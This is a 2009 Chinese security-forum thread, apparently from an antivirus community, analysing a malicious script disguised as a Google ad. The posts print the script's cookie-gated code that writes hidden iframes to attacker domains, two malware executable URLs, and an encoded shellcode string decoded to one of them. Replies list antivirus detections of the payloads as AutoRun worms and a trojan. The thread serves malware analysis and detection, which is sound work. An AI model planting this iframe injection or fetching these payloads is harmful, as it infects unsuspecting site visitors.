伪装广告的代码升级

dayang1717

<script language="javascript" src="http://officeon.ch.ma/office.js?google_ad_format=728x90_as"></script>

var cookA = new String(document.cookie);
var Then = new Date();
var cookName = '9B4A4C5EBF042C02' ;
Then.setTime(Then.getTime() + 30*60*1000 );
var sc=document.getElementsByTagName('script');
var paramsArr=sc[sc.length-1].src.split('//')[1].split('?');
var kesor = cookA.indexOf(cookName);
var Thenm =  Then.getSeconds();
if (kesor == -1)
   {
document.write('<iframe src=http://wr.jft57.cn/1/06/index.htm?e1-p width=100 height=0></Iframe>');
document.write('<iframe src=about:blank width=50 height=0 id=adfrmae border=0></iframe>');
setTimeout(ggto,5000);
//document.write('<iframe src=http://ddv.sarl.tk/cnzz1.html width=0 height=0></Iframe>');
document.write('<IFRAME marginWidth=0 marginHeight=0 src="http://count41.51yes.com/sa.aspx?id=419175949&amp;refe='+window.parent.location+'&amp;location=http%3A//'+paramsArr[0]+'&amp;color=32x&amp;resolution=1280x1024&amp;returning=0&amp;language=zh-cn&amp;ua=Mozilla/4.0%20%28compatible%3B%20MSIE%206.0%3B%20Windows%20NT%205.1%3B%20SV1%3B%20.NET%20CLR%202.0.50727%3B%20.NET%20CLR%203.0.04506.30%29" frameBorder=0 width=0 scrolling=no height=0></IFRAME>');
document.cookie = "A1="+ cookName +";expires="+ Then.toGMTString() +";path=/";
   }
function ggto(){
adfrmae.location.href='http://wr.jft57.cn/1/06/index.htm?e1-p';


<br>
<br>
<br>
<iframe src=index2.htm width=100 height=0></Iframe>
<br>
<br>
<br>
<br>
<script type="text/javascript" src="http://js.tongji.cn.yahoo.com/1051087/ystat.js"></script>

<script language="JavaScript" charset="gb2312" src="http://count7.51much.com/cnt.php?uid=UA-1-12125&style=text&text=网站统计"></script>


<iframe src=ccqm.htm width=100 height=0></iframe>
<script src="js.css"></script>

http://a1.igr5s.com/1/AvticnX.exe
又是这个东西！

%u7468%u7074%u2F3A%u612F%u2E31%u6769%u3572%u2E73%u6F63%u2F6D%u2F31%u6E41%u2E58%u7865%u0065%u0000
解密为http://a1.igr5s.com/1/AnX.exe

328397663

原帖由 dayang1717 于 2009-5-7 17:21 发表


var cookA = new String(document.cookie);
var Then = new Date();
var cookName = '9B4A4C5EBF042C02' ;
Then.setTime(Then.getTime() + 30*60*1000 );
var sc=document.getElementsByTagName('script');
...

Scanned file:   AnX.rar - Infected AnX.rar/AnX.exe - infected by Worm.Win32.AutoRun.afvk AnX.rar/AvticnX.exe - infected by Worm.Win32.AutoRun.agms Statistics: Known viruses: 2141994 Updated: 07-05-2009 File size (Kb): 72 Virus bodies: 2 Files: 2 Warnings: 0 Archives: 1 Suspicious: 0

kingsheet

卡巴               检测到：病毒 Worm.Win32.AutoRun.afvk        URL: http://bbs.kafan.cn/attachment.p ... 1241688782//AnX.exe

悠柚

AVG Win32/Heur

wrq

Warning

--------------------------------------------------------------------------------

In order not to compromise your security, this page will not be accessed


A virus or unwanted program has been detected
in the HTTP data on the requested page.

--------------------------------------------------------------------------------

Requested URL: http://bbs.kafan.cn/attachment.p ... 75&t=1241697147
Information Is the TR/Killav.PN Trojan


--------------------------------------------------------------------------------

Generated by AntiVir WebGuard 9.0.3.0, AVE 8.2.0.160, VDF 7.1.3.167

BING126

to McAfee